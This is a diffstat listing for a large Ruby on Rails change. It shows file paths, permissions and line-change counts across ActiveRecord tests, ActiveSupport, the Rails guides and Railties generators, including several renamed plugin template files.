-rw-r--r--activerecord/test/models/company.rb43
-rw-r--r--activerecord/test/models/company_in_module.rb4
-rw-r--r--activerecord/test/models/contract.rb1
-rw-r--r--activerecord/test/models/department.rb4
-rw-r--r--activerecord/test/models/developer.rb14
-rw-r--r--activerecord/test/models/drink_designer.rb3
-rw-r--r--activerecord/test/models/electron.rb2
-rw-r--r--activerecord/test/models/hotel.rb6
-rw-r--r--activerecord/test/models/man.rb1
-rw-r--r--activerecord/test/models/member.rb1
-rw-r--r--activerecord/test/models/membership.rb5
-rw-r--r--activerecord/test/models/mixed_case_monkey.rb2
-rw-r--r--activerecord/test/models/molecule.rb2
-rw-r--r--activerecord/test/models/movie.rb6
-rw-r--r--activerecord/test/models/owner.rb17
-rw-r--r--activerecord/test/models/parrot.rb6
-rw-r--r--activerecord/test/models/person.rb13
-rw-r--r--activerecord/test/models/pirate.rb8
-rw-r--r--activerecord/test/models/post.rb22
-rw-r--r--activerecord/test/models/project.rb14
-rw-r--r--activerecord/test/models/reader.rb2
-rw-r--r--activerecord/test/models/record.rb2
-rw-r--r--activerecord/test/models/ship.rb6
-rw-r--r--activerecord/test/models/shop.rb5
-rw-r--r--activerecord/test/models/student.rb1
-rw-r--r--activerecord/test/models/tag.rb4
-rw-r--r--activerecord/test/models/topic.rb5
-rw-r--r--activerecord/test/models/treasure.rb1
-rw-r--r--activerecord/test/models/uuid_child.rb3
-rw-r--r--activerecord/test/models/uuid_parent.rb3
-rw-r--r--activerecord/test/schema/oracle_specific_schema.rb3
-rw-r--r--activerecord/test/schema/postgresql_specific_schema.rb26
-rw-r--r--activerecord/test/schema/schema.rb485
-rw-r--r--activerecord/test/schema/sqlite_specific_schema.rb7
-rw-r--r--activerecord/test/support/connection.rb4
-rw-r--r--activerecord/test/support/connection_helper.rb14
-rw-r--r--activerecord/test/support/ddl_helper.rb8
-rw-r--r--activesupport/CHANGELOG.md122
-rw-r--r--activesupport/MIT-LICENSE2
-rw-r--r--activesupport/Rakefile3
-rw-r--r--activesupport/activesupport.gemspec8
-rwxr-xr-xactivesupport/bin/generate_tables6
-rw-r--r--activesupport/lib/active_support.rb10
-rw-r--r--activesupport/lib/active_support/backtrace_cleaner.rb2
-rw-r--r--activesupport/lib/active_support/basic_object.rb11
-rw-r--r--activesupport/lib/active_support/buffered_logger.rb21
-rw-r--r--activesupport/lib/active_support/cache.rb73
-rw-r--r--activesupport/lib/active_support/cache/file_store.rb52
-rw-r--r--activesupport/lib/active_support/cache/mem_cache_store.rb14
-rw-r--r--activesupport/lib/active_support/cache/memory_store.rb17
-rw-r--r--activesupport/lib/active_support/cache/strategy/local_cache.rb41
-rw-r--r--activesupport/lib/active_support/cache/strategy/local_cache_middleware.rb39
-rw-r--r--activesupport/lib/active_support/callbacks.rb70
-rw-r--r--activesupport/lib/active_support/concern.rb22
-rw-r--r--activesupport/lib/active_support/configurable.rb2
-rw-r--r--activesupport/lib/active_support/core_ext.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/array.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/array/access.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/array/conversions.rb19
-rw-r--r--activesupport/lib/active_support/core_ext/array/grouping.rb34
-rw-r--r--activesupport/lib/active_support/core_ext/array/prepend_and_append.rb4
-rw-r--r--activesupport/lib/active_support/core_ext/array/uniq_by.rb19
-rw-r--r--activesupport/lib/active_support/core_ext/big_decimal/conversions.rb15
-rw-r--r--activesupport/lib/active_support/core_ext/big_decimal/yaml_conversions.rb14
-rw-r--r--activesupport/lib/active_support/core_ext/class.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/class/attribute.rb7
-rw-r--r--activesupport/lib/active_support/core_ext/class/attribute_accessors.rb174
-rw-r--r--activesupport/lib/active_support/core_ext/class/delegating_attributes.rb21
-rw-r--r--activesupport/lib/active_support/core_ext/date/calculations.rb10
-rw-r--r--activesupport/lib/active_support/core_ext/date/conversions.rb15
-rw-r--r--activesupport/lib/active_support/core_ext/date/zones.rb35
-rw-r--r--activesupport/lib/active_support/core_ext/date_and_time/calculations.rb41
-rw-r--r--activesupport/lib/active_support/core_ext/date_and_time/zones.rb41
-rw-r--r--activesupport/lib/active_support/core_ext/date_time/acts_like.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/date_time/calculations.rb34
-rw-r--r--activesupport/lib/active_support/core_ext/date_time/conversions.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/date_time/zones.rb23
-rw-r--r--activesupport/lib/active_support/core_ext/enumerable.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/file/atomic.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/hash.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/hash/compact.rb20
-rw-r--r--activesupport/lib/active_support/core_ext/hash/conversions.rb12
-rw-r--r--activesupport/lib/active_support/core_ext/hash/deep_merge.rb10
-rw-r--r--activesupport/lib/active_support/core_ext/hash/diff.rb16
-rw-r--r--activesupport/lib/active_support/core_ext/hash/except.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/hash/indifferent_access.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/hash/keys.rb32
-rw-r--r--activesupport/lib/active_support/core_ext/hash/slice.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/integer/multiple.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/kernel.rb5
-rw-r--r--activesupport/lib/active_support/core_ext/kernel/concern.rb10
-rw-r--r--activesupport/lib/active_support/core_ext/kernel/reporting.rb9
-rw-r--r--activesupport/lib/active_support/core_ext/load_error.rb5
-rw-r--r--activesupport/lib/active_support/core_ext/logger.rb67
-rw-r--r--activesupport/lib/active_support/core_ext/module.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/module/attr_internal.rb3
-rw-r--r--activesupport/lib/active_support/core_ext/module/attribute_accessors.rb174
-rw-r--r--activesupport/lib/active_support/core_ext/module/concerning.rb135
-rw-r--r--activesupport/lib/active_support/core_ext/module/delegation.rb49
-rw-r--r--activesupport/lib/active_support/core_ext/module/deprecation.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/module/introspection.rb16
-rw-r--r--activesupport/lib/active_support/core_ext/module/method_transplanting.rb11
-rw-r--r--activesupport/lib/active_support/core_ext/numeric/time.rb8
-rw-r--r--activesupport/lib/active_support/core_ext/object.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/object/blank.rb60
-rw-r--r--activesupport/lib/active_support/core_ext/object/deep_dup.rb12
-rw-r--r--activesupport/lib/active_support/core_ext/object/duplicable.rb3
-rw-r--r--activesupport/lib/active_support/core_ext/object/inclusion.rb12
-rw-r--r--activesupport/lib/active_support/core_ext/object/json.rb197
-rw-r--r--activesupport/lib/active_support/core_ext/object/to_json.rb27
-rw-r--r--activesupport/lib/active_support/core_ext/object/to_param.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/object/to_query.rb7
-rw-r--r--activesupport/lib/active_support/core_ext/object/try.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/proc.rb17
-rw-r--r--activesupport/lib/active_support/core_ext/range.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/range/each.rb23
-rw-r--r--activesupport/lib/active_support/core_ext/securerandom.rb47
-rw-r--r--activesupport/lib/active_support/core_ext/string/access.rb68
-rw-r--r--activesupport/lib/active_support/core_ext/string/conversions.rb16
-rw-r--r--activesupport/lib/active_support/core_ext/string/encoding.rb8
-rw-r--r--activesupport/lib/active_support/core_ext/string/exclude.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/string/filters.rb16
-rw-r--r--activesupport/lib/active_support/core_ext/string/inflections.rb24
-rw-r--r--activesupport/lib/active_support/core_ext/string/output_safety.rb99
-rw-r--r--activesupport/lib/active_support/core_ext/string/zones.rb1
-rw-r--r--activesupport/lib/active_support/core_ext/thread.rb38
-rw-r--r--activesupport/lib/active_support/core_ext/time/calculations.rb88
-rw-r--r--activesupport/lib/active_support/core_ext/time/conversions.rb6
-rw-r--r--activesupport/lib/active_support/core_ext/time/zones.rb22
-rw-r--r--activesupport/lib/active_support/dependencies.rb46
-rw-r--r--activesupport/lib/active_support/deprecation.rb2
-rw-r--r--activesupport/lib/active_support/deprecation/behaviors.rb23
-rw-r--r--activesupport/lib/active_support/duration.rb24
-rw-r--r--activesupport/lib/active_support/file_update_checker.rb2
-rw-r--r--activesupport/lib/active_support/gem_version.rb15
-rw-r--r--activesupport/lib/active_support/hash_with_indifferent_access.rb19
-rw-r--r--activesupport/lib/active_support/i18n_railtie.rb11
-rw-r--r--activesupport/lib/active_support/inflections.rb7
-rw-r--r--activesupport/lib/active_support/inflector/inflections.rb34
-rw-r--r--activesupport/lib/active_support/inflector/methods.rb47
-rw-r--r--activesupport/lib/active_support/json/decoding.rb14
-rw-r--r--activesupport/lib/active_support/json/encoding.rb410
-rw-r--r--activesupport/lib/active_support/key_generator.rb16
-rw-r--r--activesupport/lib/active_support/log_subscriber/test_helper.rb2
-rw-r--r--activesupport/lib/active_support/logger.rb2
-rw-r--r--activesupport/lib/active_support/message_encryptor.rb8
-rw-r--r--activesupport/lib/active_support/message_verifier.rb7
-rw-r--r--activesupport/lib/active_support/multibyte/chars.rb3
-rw-r--r--activesupport/lib/active_support/multibyte/unicode.rb79
-rw-r--r--activesupport/lib/active_support/notifications.rb2
-rw-r--r--activesupport/lib/active_support/notifications/fanout.rb11
-rw-r--r--activesupport/lib/active_support/notifications/instrumenter.rb3
-rw-r--r--activesupport/lib/active_support/number_helper.rb349
-rw-r--r--activesupport/lib/active_support/number_helper/number_converter.rb182
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_currency_converter.rb46
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb21
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_human_converter.rb66
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb58
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb12
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_phone_converter.rb49
-rw-r--r--activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb91
-rw-r--r--activesupport/lib/active_support/option_merger.rb2
-rw-r--r--activesupport/lib/active_support/ordered_hash.rb8
-rw-r--r--activesupport/lib/active_support/ordered_options.rb2
-rw-r--r--activesupport/lib/active_support/per_thread_registry.rb17
-rw-r--r--activesupport/lib/active_support/rescuable.rb1
-rw-r--r--activesupport/lib/active_support/subscriber.rb29
-rw-r--r--activesupport/lib/active_support/tagged_logging.rb1
-rw-r--r--activesupport/lib/active_support/test_case.rb25
-rw-r--r--activesupport/lib/active_support/testing/assertions.rb30
-rw-r--r--activesupport/lib/active_support/testing/declarative.rb19
-rw-r--r--activesupport/lib/active_support/testing/deprecation.rb21
-rw-r--r--activesupport/lib/active_support/testing/isolation.rb63
-rw-r--r--activesupport/lib/active_support/testing/time_helpers.rb127
-rw-r--r--activesupport/lib/active_support/time_with_zone.rb23
-rw-r--r--activesupport/lib/active_support/values/time_zone.rb58
-rw-r--r--activesupport/lib/active_support/values/unicode_tables.datbin904483 -> 904640 bytes
-rw-r--r--activesupport/lib/active_support/version.rb11
-rw-r--r--activesupport/lib/active_support/xml_mini.rb6
-rw-r--r--activesupport/test/abstract_unit.rb15
-rw-r--r--activesupport/test/autoloading_fixtures/html/some_class.rb4
-rw-r--r--activesupport/test/caching_test.rb113
-rw-r--r--activesupport/test/callbacks_test.rb21
-rw-r--r--activesupport/test/concern_test.rb20
-rw-r--r--activesupport/test/configurable_test.rb14
-rw-r--r--activesupport/test/core_ext/array_ext_test.rb48
-rw-r--r--activesupport/test/core_ext/big_decimal/yaml_conversions_test.rb11
-rw-r--r--activesupport/test/core_ext/bigdecimal_test.rb13
-rw-r--r--activesupport/test/core_ext/blank_test.rb22
-rw-r--r--activesupport/test/core_ext/class/attribute_accessor_test.rb61
-rw-r--r--activesupport/test/core_ext/class/delegating_attributes_test.rb39
-rw-r--r--activesupport/test/core_ext/date_ext_test.rb29
-rw-r--r--activesupport/test/core_ext/date_time_ext_test.rb10
-rw-r--r--activesupport/test/core_ext/duration_test.rb44
-rw-r--r--activesupport/test/core_ext/enumerable_test.rb25
-rw-r--r--activesupport/test/core_ext/hash_ext_test.rb107
-rw-r--r--activesupport/test/core_ext/kernel/concern_test.rb12
-rw-r--r--activesupport/test/core_ext/kernel_test.rb18
-rw-r--r--activesupport/test/core_ext/module/attribute_accessor_test.rb26
-rw-r--r--activesupport/test/core_ext/module/concerning_test.rb65
-rw-r--r--activesupport/test/core_ext/module_test.rb49
-rw-r--r--activesupport/test/core_ext/name_error_test.rb12
-rw-r--r--activesupport/test/core_ext/numeric_ext_test.rb53
-rw-r--r--activesupport/test/core_ext/object/deep_dup_test.rb (renamed from activesupport/test/core_ext/deep_dup_test.rb)0
-rw-r--r--activesupport/test/core_ext/object/duplicable_test.rb (renamed from activesupport/test/core_ext/duplicable_test.rb)25
-rw-r--r--activesupport/test/core_ext/object/inclusion_test.rb5
-rw-r--r--activesupport/test/core_ext/object/to_query_test.rb15
-rw-r--r--activesupport/test/core_ext/object_and_class_ext_test.rb25
-rw-r--r--activesupport/test/core_ext/proc_test.rb14
-rw-r--r--activesupport/test/core_ext/range_ext_test.rb28
-rw-r--r--activesupport/test/core_ext/securerandom_test.rb28
-rw-r--r--activesupport/test/core_ext/string_ext_test.rb203
-rw-r--r--activesupport/test/core_ext/thread_test.rb16
-rw-r--r--activesupport/test/core_ext/time_ext_test.rb131
-rw-r--r--activesupport/test/core_ext/time_with_zone_test.rb38
-rw-r--r--activesupport/test/dependencies_test.rb101
-rw-r--r--activesupport/test/deprecation/basic_object_test.rb12
-rw-r--r--activesupport/test/deprecation/buffered_logger_test.rb22
-rw-r--r--activesupport/test/deprecation_test.rb15
-rw-r--r--activesupport/test/descendants_tracker_without_autoloading_test.rb10
-rw-r--r--activesupport/test/empty_bool.rb7
-rw-r--r--activesupport/test/fixtures/custom.rb2
-rw-r--r--activesupport/test/inflector_test.rb74
-rw-r--r--activesupport/test/inflector_test_cases.rb10
-rw-r--r--activesupport/test/json/decoding_test.rb32
-rw-r--r--activesupport/test/json/encoding_test.rb303
-rw-r--r--activesupport/test/message_encryptor_test.rb15
-rw-r--r--activesupport/test/message_verifier_test.rb24
-rw-r--r--activesupport/test/multibyte_chars_test.rb6
-rw-r--r--activesupport/test/multibyte_conformance_test.rb (renamed from activesupport/test/multibyte_conformance.rb)4
-rw-r--r--activesupport/test/number_helper_test.rb24
-rw-r--r--activesupport/test/ordered_hash_test.rb7
-rw-r--r--activesupport/test/safe_buffer_test.rb25
-rw-r--r--activesupport/test/subscriber_test.rb40
-rw-r--r--activesupport/test/test_test.rb122
-rw-r--r--activesupport/test/testing/constant_lookup_test.rb1
-rw-r--r--activesupport/test/time_zone_test.rb59
-rw-r--r--activesupport/test/transliterate_test.rb6
-rw-r--r--activesupport/test/xml_mini_test.rb195
-rw-r--r--guides/CHANGELOG.md12
-rw-r--r--guides/Rakefile4
-rw-r--r--guides/assets/images/akshaysurve.jpgbin0 -> 3444 bytes
-rw-r--r--guides/assets/images/getting_started/article_with_comments.pngbin0 -> 15190 bytes
-rw-r--r--guides/assets/images/getting_started/challenge.pngbin31976 -> 21690 bytes
-rw-r--r--guides/assets/images/getting_started/confirm_dialog.pngbin29542 -> 18809 bytes
-rw-r--r--guides/assets/images/getting_started/forbidden_attributes_for_new_article.pngbin0 -> 10783 bytes
-rw-r--r--guides/assets/images/getting_started/forbidden_attributes_for_new_post.pngbin19490 -> 0 bytes
-rw-r--r--guides/assets/images/getting_started/form_with_errors.pngbin14031 -> 12447 bytes
-rw-r--r--guides/assets/images/getting_started/index_action_with_edit_link.pngbin9772 -> 10209 bytes
-rw-r--r--guides/assets/images/getting_started/new_article.pngbin0 -> 3579 bytes
-rw-r--r--guides/assets/images/getting_started/new_post.pngbin5090 -> 0 bytes
-rw-r--r--guides/assets/images/getting_started/post_with_comments.pngbin18496 -> 0 bytes
-rw-r--r--guides/assets/images/getting_started/rails_welcome.pngbin50433 -> 94542 bytes
-rw-r--r--guides/assets/images/getting_started/routing_error_no_controller.pngbin5519 -> 4186 bytes
-rw-r--r--guides/assets/images/getting_started/routing_error_no_route_matches.pngbin6195 -> 5913 bytes
-rw-r--r--guides/assets/images/getting_started/show_action_for_articles.pngbin0 -> 2965 bytes
-rw-r--r--guides/assets/images/getting_started/show_action_for_posts.pngbin2991 -> 0 bytes
-rw-r--r--guides/assets/images/getting_started/template_is_missing_articles_new.pngbin0 -> 6174 bytes
-rw-r--r--guides/assets/images/getting_started/template_is_missing_posts_new.pngbin11688 -> 0 bytes
-rw-r--r--guides/assets/images/getting_started/undefined_method_post_path.pngbin9217 -> 0 bytes
-rw-r--r--guides/assets/images/getting_started/unknown_action_create_for_articles.pngbin0 -> 5327 bytes
-rw-r--r--guides/assets/images/getting_started/unknown_action_create_for_posts.pngbin6852 -> 0 bytes
-rw-r--r--guides/assets/images/getting_started/unknown_action_new_for_articles.pngbin0 -> 5481 bytes
-rw-r--r--guides/assets/images/getting_started/unknown_action_new_for_posts.pngbin6998 -> 0 bytes
-rw-r--r--guides/assets/javascripts/guides.js64
-rw-r--r--guides/assets/stylesheets/main.css1
-rw-r--r--guides/assets/stylesheets/print.css2
-rw-r--r--guides/bug_report_templates/action_controller_gem.rb47
-rw-r--r--guides/bug_report_templates/action_controller_master.rb53
-rw-r--r--guides/bug_report_templates/active_record_gem.rb5
-rw-r--r--guides/bug_report_templates/active_record_master.rb5
-rw-r--r--guides/code/getting_started/Gemfile45
-rw-r--r--guides/code/getting_started/Gemfile.lock210
-rw-r--r--guides/code/getting_started/Rakefile2
-rw-r--r--guides/code/getting_started/app/controllers/comments_controller.rb8
-rw-r--r--guides/code/getting_started/app/controllers/posts_controller.rb10
-rw-r--r--guides/code/getting_started/app/views/layouts/application.html.erb4
-rw-r--r--guides/code/getting_started/app/views/welcome/index.html.erb1
-rw-r--r--guides/code/getting_started/config.ru2
-rw-r--r--guides/code/getting_started/config/boot.rb2
-rw-r--r--guides/code/getting_started/config/environment.rb2
-rw-r--r--guides/code/getting_started/config/environments/development.rb2
-rw-r--r--guides/code/getting_started/config/environments/production.rb6
-rw-r--r--guides/code/getting_started/config/environments/test.rb4
-rw-r--r--guides/code/getting_started/config/initializers/secret_token.rb2
-rw-r--r--guides/code/getting_started/config/initializers/session_store.rb2
-rw-r--r--guides/code/getting_started/config/routes.rb2
-rw-r--r--guides/code/getting_started/public/404.html2
-rw-r--r--guides/code/getting_started/public/422.html2
-rw-r--r--guides/code/getting_started/public/500.html2
-rw-r--r--guides/code/getting_started/public/robots.txt2
-rw-r--r--guides/code/getting_started/test/fixtures/comments.yml2
-rw-r--r--guides/code/getting_started/test/fixtures/posts.yml2
-rw-r--r--guides/rails_guides.rb21
-rw-r--r--guides/rails_guides/generator.rb2
-rw-r--r--guides/rails_guides/helpers.rb4
-rw-r--r--guides/source/2_2_release_notes.md4
-rw-r--r--guides/source/2_3_release_notes.md10
-rw-r--r--guides/source/3_0_release_notes.md6
-rw-r--r--guides/source/3_1_release_notes.md2
-rw-r--r--guides/source/3_2_release_notes.md24
-rw-r--r--guides/source/4_0_release_notes.md84
-rw-r--r--guides/source/4_1_release_notes.md730
-rw-r--r--guides/source/_license.html.erb2
-rw-r--r--guides/source/_welcome.html.erb7
-rw-r--r--guides/source/action_controller_overview.md264
-rw-r--r--guides/source/action_mailer_basics.md69
-rw-r--r--guides/source/action_view_overview.md178
-rw-r--r--guides/source/active_model_basics.md2
-rw-r--r--guides/source/active_record_basics.md42
-rw-r--r--guides/source/active_record_callbacks.md93
-rw-r--r--guides/source/active_record_querying.md230
-rw-r--r--guides/source/active_record_validations.md55
-rw-r--r--guides/source/active_support_core_extensions.md186
-rw-r--r--guides/source/active_support_instrumentation.md10
-rw-r--r--guides/source/api_documentation_guidelines.md85
-rw-r--r--guides/source/asset_pipeline.md817
-rw-r--r--guides/source/association_basics.md55
-rw-r--r--guides/source/caching_with_rails.md34
-rw-r--r--guides/source/command_line.md46
-rw-r--r--guides/source/configuring.md309
-rw-r--r--guides/source/contributing_to_ruby_on_rails.md331
-rw-r--r--guides/source/credits.html.erb6
-rw-r--r--guides/source/debugging_rails_applications.md701
-rw-r--r--guides/source/development_dependencies_install.md100
-rw-r--r--guides/source/documents.yaml13
-rw-r--r--guides/source/engines.md861
-rw-r--r--guides/source/form_helpers.md136
-rw-r--r--guides/source/generators.md37
-rw-r--r--guides/source/getting_started.md1533
-rw-r--r--guides/source/i18n.md215
-rw-r--r--guides/source/index.html.erb2
-rw-r--r--guides/source/initialization.md336
-rw-r--r--guides/source/kindle/KINDLE.md26
-rw-r--r--guides/source/layout.html.erb22
-rw-r--r--guides/source/layouts_and_rendering.md78
-rw-r--r--guides/source/maintenance_policy.md56
-rw-r--r--guides/source/migrations.md228
-rw-r--r--guides/source/nested_model_forms.md12
-rw-r--r--guides/source/plugins.md67
-rw-r--r--guides/source/rails_application_templates.md31
-rw-r--r--guides/source/rails_on_rack.md94
-rw-r--r--guides/source/routing.md203
-rw-r--r--guides/source/ruby_on_rails_guides_guidelines.md2
-rw-r--r--guides/source/security.md191
-rw-r--r--guides/source/testing.md224
-rw-r--r--guides/source/upgrading_ruby_on_rails.md478
-rw-r--r--guides/source/working_with_javascript_in_rails.md28
-rw-r--r--install.rb2
-rw-r--r--rails.gemspec3
-rw-r--r--railties/CHANGELOG.md70
-rw-r--r--railties/MIT-LICENSE2
-rw-r--r--railties/RDOC_MAIN.rdoc6
-rw-r--r--railties/Rakefile13
-rwxr-xr-xrailties/bin/rails4
-rw-r--r--railties/lib/rails.rb6
-rw-r--r--railties/lib/rails/all.rb1
-rw-r--r--railties/lib/rails/api/task.rb29
-rw-r--r--railties/lib/rails/app_rails_loader.rb6
-rw-r--r--railties/lib/rails/application.rb198
-rw-r--r--railties/lib/rails/application/bootstrap.rb3
-rw-r--r--railties/lib/rails/application/configuration.rb35
-rw-r--r--railties/lib/rails/application/default_middleware_stack.rb14
-rw-r--r--railties/lib/rails/application/finisher.rb2
-rw-r--r--railties/lib/rails/application_controller.rb16
-rw-r--r--railties/lib/rails/cli.rb3
-rw-r--r--railties/lib/rails/commands.rb98
-rw-r--r--railties/lib/rails/commands/application.rb30
-rw-r--r--railties/lib/rails/commands/commands_tasks.rb169
-rw-r--r--railties/lib/rails/commands/console.rb36
-rw-r--r--railties/lib/rails/commands/dbconsole.rb17
-rw-r--r--railties/lib/rails/commands/plugin.rb23
-rw-r--r--railties/lib/rails/commands/plugin_new.rb9
-rw-r--r--railties/lib/rails/commands/runner.rb21
-rw-r--r--railties/lib/rails/commands/server.rb90
-rw-r--r--railties/lib/rails/configuration.rb5
-rw-r--r--railties/lib/rails/console/helpers.rb6
-rw-r--r--railties/lib/rails/engine.rb29
-rw-r--r--railties/lib/rails/engine/railties.rb8
-rw-r--r--railties/lib/rails/gem_version.rb15
-rw-r--r--railties/lib/rails/generators.rb7
-rw-r--r--railties/lib/rails/generators/actions.rb18
-rw-r--r--railties/lib/rails/generators/actions/create_migration.rb68
-rw-r--r--railties/lib/rails/generators/active_model.rb8
-rw-r--r--railties/lib/rails/generators/app_base.rb221
-rw-r--r--railties/lib/rails/generators/base.rb41
-rw-r--r--railties/lib/rails/generators/erb.rb6
-rw-r--r--railties/lib/rails/generators/erb/controller/controller_generator.rb6
-rw-r--r--railties/lib/rails/generators/erb/mailer/mailer_generator.rb4
-rw-r--r--railties/lib/rails/generators/erb/mailer/templates/view.html.erb5
-rw-r--r--railties/lib/rails/generators/erb/mailer/templates/view.text.erb2
-rw-r--r--railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb6
-rw-r--r--railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb8
-rw-r--r--railties/lib/rails/generators/generated_attribute.rb4
-rw-r--r--railties/lib/rails/generators/migration.rb45
-rw-r--r--railties/lib/rails/generators/model_helpers.rb28
-rw-r--r--railties/lib/rails/generators/named_base.rb2
-rw-r--r--railties/lib/rails/generators/rails/app/app_generator.rb110
-rw-r--r--railties/lib/rails/generators/rails/app/templates/Gemfile39
-rw-r--r--railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css8
-rw-r--r--railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt13
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/application.rb8
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/boot.rb2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml36
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml65
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml64
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml39
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml47
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml9
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml53
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml35
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml51
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml16
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml43
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt10
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt18
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt5
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/initializers/assets.rb.tt8
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/initializers/cookies_serializer.rb3
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/initializers/mime_types.rb1
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/secrets.yml (renamed from railties/lib/rails/generators/rails/app/templates/config/initializers/secret_token.rb.tt)14
-rw-r--r--railties/lib/rails/generators/rails/app/templates/gitignore2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/public/404.html31
-rw-r--r--railties/lib/rails/generators/rails/app/templates/public/422.html31
-rw-r--r--railties/lib/rails/generators/rails/app/templates/public/500.html29
-rw-r--r--railties/lib/rails/generators/rails/app/templates/public/robots.txt2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/test/test_helper.rb4
-rw-r--r--railties/lib/rails/generators/rails/controller/controller_generator.rb36
-rw-r--r--railties/lib/rails/generators/rails/generator/USAGE1
-rw-r--r--railties/lib/rails/generators/rails/generator/generator_generator.rb2
-rw-r--r--railties/lib/rails/generators/rails/model/USAGE2
-rw-r--r--railties/lib/rails/generators/rails/model/model_generator.rb4
-rw-r--r--railties/lib/rails/generators/rails/plugin/USAGE (renamed from railties/lib/rails/generators/rails/plugin_new/USAGE)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/plugin_generator.rb (renamed from railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb)33
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/%name%.gemspec (renamed from railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec)4
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/Gemfile (renamed from railties/lib/rails/generators/rails/plugin_new/templates/Gemfile)23
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/MIT-LICENSE (renamed from railties/lib/rails/generators/rails/plugin_new/templates/MIT-LICENSE)2
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/README.rdoc (renamed from railties/lib/rails/generators/rails/plugin_new/templates/README.rdoc)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/Rakefile (renamed from railties/lib/rails/generators/rails/plugin_new/templates/Rakefile)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/app/controllers/%name%/application_controller.rb.tt (renamed from railties/lib/rails/generators/rails/plugin_new/templates/app/controllers/%name%/application_controller.rb.tt)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/app/helpers/%name%/application_helper.rb.tt (renamed from railties/lib/rails/generators/rails/plugin_new/templates/app/helpers/%name%/application_helper.rb.tt)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/app/mailers/.empty_directory0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/app/models/.empty_directory0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/app/views/layouts/%name%/application.html.erb.tt (renamed from railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/bin/rails.tt (renamed from railties/lib/rails/generators/rails/plugin_new/templates/bin/rails.tt)4
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/config/routes.rb (renamed from railties/lib/rails/generators/rails/plugin_new/templates/config/routes.rb)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/gitignore (renamed from railties/lib/rails/generators/rails/plugin_new/templates/gitignore)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/lib/%name%.rb (renamed from railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%.rb)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/lib/%name%/engine.rb (renamed from railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/engine.rb)0
-rw-r--r--railties/lib/rails/generators/rails/plugin/templates/lib/%name%/version.rb (renamed from railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb)0
